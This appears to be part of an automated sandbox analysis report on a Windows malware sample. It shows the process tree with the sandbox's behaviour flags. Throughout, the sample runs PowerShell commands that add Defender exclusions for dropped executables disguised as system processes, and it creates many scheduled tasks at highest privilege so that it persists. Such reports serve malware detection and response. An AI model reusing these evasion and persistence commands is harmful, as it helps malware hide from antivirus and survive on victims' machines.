        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1124
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\fontdrvhost.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3932
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Fonts\sppsvc.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1280
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\xjVk2zv8Jg.bat"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2780
      - C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        6⤵
        
        PID:4336
      - C:\providercommon\DllCommonsvc.exe
        
        "C:\providercommon\DllCommonsvc.exe"
        6⤵
        Executes dropped EXE
        Checks computer location settings
        Drops file in Program Files directory
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1948
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\DllCommonsvc.exe'
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1848
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Reference Assemblies\Microsoft\SearchApp.exe'
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4040
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Mail\dwm.exe'
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4808
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\dllhost.exe'
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4196
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\dllhost.exe'
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\wininit.exe'
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2764
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\sppsvc.exe'
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3096
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\sihost.exe'
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4416
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Application Data\RuntimeBroker.exe'
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3568
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Mozilla Maintenance Service\logs\lsass.exe'
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4152
        
        C:\providercommon\DllCommonsvc.exe
        
        "C:\providercommon\DllCommonsvc.exe"
        7⤵
        Executes dropped EXE
        Checks computer location settings
        Drops file in Program Files directory
        Drops file in Windows directory
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3600
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\DllCommonsvc.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1388
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\IME\IMEKR\csrss.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2516
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\dllhost.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4636
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\BrZftxVrci.bat"
        8⤵
        
        PID:1492
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        9⤵
        
        PID:4360
        
        C:\Program Files (x86)\WindowsPowerShell\conhost.exe
        
        "C:\Program Files (x86)\WindowsPowerShell\conhost.exe"
        9⤵
        Executes dropped EXE
        Checks computer location settings
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        
        PID:3392
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\dnlY2uCtHd.bat"
        10⤵
        
        PID:1468
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        11⤵
        
        PID:4296
        
        C:\Program Files (x86)\WindowsPowerShell\conhost.exe
        
        "C:\Program Files (x86)\WindowsPowerShell\conhost.exe"
        11⤵
        Executes dropped EXE
        Checks computer location settings
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        
        PID:4316
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\7ezzJRb6cS.bat"
        12⤵
        
        PID:3660
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        13⤵
        
        PID:4176
        
        C:\Program Files (x86)\WindowsPowerShell\conhost.exe
        
        "C:\Program Files (x86)\WindowsPowerShell\conhost.exe"
        13⤵
        Executes dropped EXE
        Checks computer location settings
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        
        PID:4920
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\dnlY2uCtHd.bat"
        14⤵
        
        PID:3720
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        15⤵
        
        PID:2244
        
        C:\Program Files (x86)\WindowsPowerShell\conhost.exe
        
        "C:\Program Files (x86)\WindowsPowerShell\conhost.exe"
        15⤵
        Executes dropped EXE
        Checks computer location settings
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        
        PID:836
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\9Z120WfzwF.bat"
        16⤵
        
        PID:4696
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        17⤵
        
        PID:840
        
        C:\Program Files (x86)\WindowsPowerShell\conhost.exe
        
        "C:\Program Files (x86)\WindowsPowerShell\conhost.exe"
        17⤵
        Executes dropped EXE
        Checks computer location settings
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        
        PID:4160
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\yTtrehocny.bat"
        18⤵
        
        PID:2516
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        19⤵
        
        PID:4876
        
        C:\Program Files (x86)\WindowsPowerShell\conhost.exe
        
        "C:\Program Files (x86)\WindowsPowerShell\conhost.exe"
        19⤵
        Executes dropped EXE
        Checks computer location settings
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        
        PID:920
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\rgoiaSdxpd.bat"
        20⤵
        
        PID:5036
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        21⤵
        
        PID:492
        
        C:\Program Files (x86)\WindowsPowerShell\conhost.exe
        
        "C:\Program Files (x86)\WindowsPowerShell\conhost.exe"
        21⤵
        Executes dropped EXE
        Checks computer location settings
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        
        PID:2540
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\asjVMp8zxr.bat"
        22⤵
        
        PID:3844
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        23⤵
        
        PID:2824
        
        C:\Program Files (x86)\WindowsPowerShell\conhost.exe
        
        "C:\Program Files (x86)\WindowsPowerShell\conhost.exe"
        23⤵
        Executes dropped EXE
        Checks computer location settings
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        
        PID:3384
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\TDlQnvRVvY.bat"
        24⤵
        
        PID:1868
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        25⤵
        
        PID:4928
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Photo Viewer\ja-JP\spoolsv.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1072
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Internet Explorer\SIGNUP\sihost.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4424
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\powershell.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1436
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\AccountPictures\SppExtComObj.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3928
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\System.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1792
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Media Player\dllhost.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:60
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\powershell.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3844
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\WindowsPowerShell\conhost.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4352
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\Mozilla\updates\services.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1252

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 8 /tr "'C:\odt\Registry.exe'" /f
1⤵
- Process spawned unexpected child process
PID:2780

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\odt\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4220

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 11 /tr "'C:\odt\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:1540

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\WindowsPowerShell\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
PID:4068

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Program Files (x86)\WindowsPowerShell\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4052

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\WindowsPowerShell\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:1984

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4796

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5108

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1072

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Google\Policies\WmiPrvSE.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1128

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files (x86)\Google\Policies\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3160

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Google\Policies\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3380

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 6 /tr "'C:\Program Files\7-Zip\Lang\WmiPrvSE.exe'" /f
1⤵
- Process spawned unexpected child process
PID:4316

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files\7-Zip\Lang\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1520

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 7 /tr "'C:\Program Files\7-Zip\Lang\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2172

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 10 /tr "'C:\Users\Admin\3D Objects\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
PID:2268

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Users\Admin\3D Objects\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5072

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 9 /tr "'C:\Users\Admin\3D Objects\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4072

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 11 /tr "'C:\providercommon\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1888

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\providercommon\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:176

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\providercommon\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:208

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\upfc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1872

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\upfc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3952

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\upfc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4400

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 10 /tr "'C:\providercommon\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4468

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\providercommon\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4336

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 10 /tr "'C:\providercommon\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3408

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 7 /tr "'C:\providercommon\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
PID:4708
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:4336

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\providercommon\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3572

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 10 /tr "'C:\providercommon\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3444

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 13 /tr "'C:\odt\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3456

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\odt\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3484

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 7 /tr "'C:\odt\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3116

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 9 /tr "'C:\Windows\Fonts\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
PID:4588

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Windows\Fonts\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5068

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 6 /tr "'C:\Windows\Fonts\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:560

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 11 /tr "'C:\odt\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4936

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\odt\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4988

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 9 /tr "'C:\odt\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5024

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\SearchApp.exe'" /f
1⤵
- Process spawned unexpected child process
PID:4912

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5092

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5100

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Mail\dwm.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1008

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1072

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Mail\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4016

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 12 /tr "'C:\providercommon\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
PID:4928

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\providercommon\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3996

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 11 /tr "'C:\providercommon\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2824

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1136

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2172

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5088

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 10 /tr "'C:\providercommon\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
PID:1996

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\providercommon\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3444

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 11 /tr "'C:\providercommon\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2700

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 11 /tr "'C:\providercommon\sihost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4116

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\providercommon\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:976

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 5 /tr "'C:\providercommon\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:1060

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Users\Default\Application Data\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2400

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\Default\Application Data\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5064

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\Users\Default\Application Data\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3396

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3268

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:2680

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4572

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\Mozilla\updates\services.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3500

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Users\All Users\Mozilla\updates\services.exe'" /rl HIGHEST /f
1⤵
PID:4412

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 12 /tr "'C:\Users\All Users\Mozilla\updates\services.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:2280

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\WindowsPowerShell\conhost.exe'" /f
1⤵
- Creates scheduled task(s)
PID:3960

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\WindowsPowerShell\conhost.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:4588

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\WindowsPowerShell\conhost.exe'" /rl HIGHEST /f
1⤵
PID:3916

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\powershell.exe'" /f
1⤵
- Creates scheduled task(s)
PID:3108

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\powershell.exe'" /rl HIGHEST /f
1⤵
PID:5028

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershell" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\powershell.exe'" /rl HIGHEST /f
1⤵
PID:5012

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Media Player\dllhost.exe'" /f
1⤵
PID:1092

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Media Player\dllhost.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:4308

